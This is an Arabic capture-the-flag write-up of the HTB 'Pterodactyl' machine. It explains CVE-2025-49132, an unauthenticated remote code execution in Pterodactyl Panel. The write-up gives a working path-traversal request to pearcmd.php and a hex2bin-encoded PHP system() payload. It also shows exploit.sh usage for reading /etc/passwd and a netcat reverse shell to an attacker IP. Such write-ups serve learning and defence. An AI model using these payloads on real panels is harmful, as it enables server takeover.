CVE-2025-49132 - استغلال تنفيذ الأوامر عن بُعد في لوحة Pterodactyl

HTB Season 10 - شرح جهاز Pterodactyl

نظرة عامة

الهدف: جهاز Pterodactyl HTB (مستوى متوسط)
CVE: CVE-2025-49132
الخطورة: حرجة (CVSS 9.8)
نوع الهجوم: تنفيذ أوامر عن بُعد بدون مصادقة
المتأثر: لوحة Pterodactyl الإصدار < v1.11.11

تجمّع سلسلة الاستغلال هذه:

1. اجتياز المسار في نظام الترجمة المحلية (locale)
2. حقن أوامر PEAR عبر pearcmd.php
3. تنفيذ كود PHP من خلال كتابة ملف + تضمينه

الثغرة

يسمح نقطة النهاية /locales/locale.json في لوحة Pterodactyl باجتياز المسار من خلال معامل locale:

GET /locales/locale.json?locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd

ويمكن ربط ذلك مع pearcmd.php الخاص بـ PEAR من أجل:

1. كتابة ملفات PHP عشوائية في /tmp
2. تنفيذها عبر طلب آخر

لماذا تعمل

PEAR (PHP Extension and Application Repository) يحتوي على أداة سطر أوامر (pearcmd.php) التي:

• تقبل الأوامر عبر معاملات URL (مصممة لواجهة CLI فقط)
• لديها أمر config-create يقوم بكتابة ملفات
• لا تحتوي على أي مصادقة عند استدعائها عبر الويب

سلسلة الاستغلال:

اجتياز المسار → تحميل pearcmd.php → حقن PHP عبر config-create → تنفيذ PHP الخبيث

خدعة Hex2bin()

يتم ترميز الأوامر باستخدام hex2bin() لتجاوز:

• مشاكل ترميز URL
• مرشحات الأحرف الخاصة
• مشاكل تحليل Nginx/PHP

مثال:

الأمر: whoami
الست عشري: 77686f616d69
الحمولة: <?=system(hex2bin('77686f616d69'))?>

تنفيذ الأوامر عن بُعد

الطريقة: باستخدام exploit.sh المقدم

chmod +x exploit.sh

# الحصول على علم المستخدم
./exploit.sh flag

# تنفيذ الأوامر
./exploit.sh cmd "whoami"
./exploit.sh cmd "cat /etc/passwd"

# صلة عكسية
nc -lvnp 4444  # على جهاز المهاجم
./exploit.sh shell 10.10.14.21 4444

المراجع

CVE والاستغلالات

• NVD - CVE-2025-49132
• OpenCVE - CVE-2025-49132

الموارد التقنية

• وثائق لوحة Pterodactyl
• توثيق PEAR
• OWASP اجتياز المسار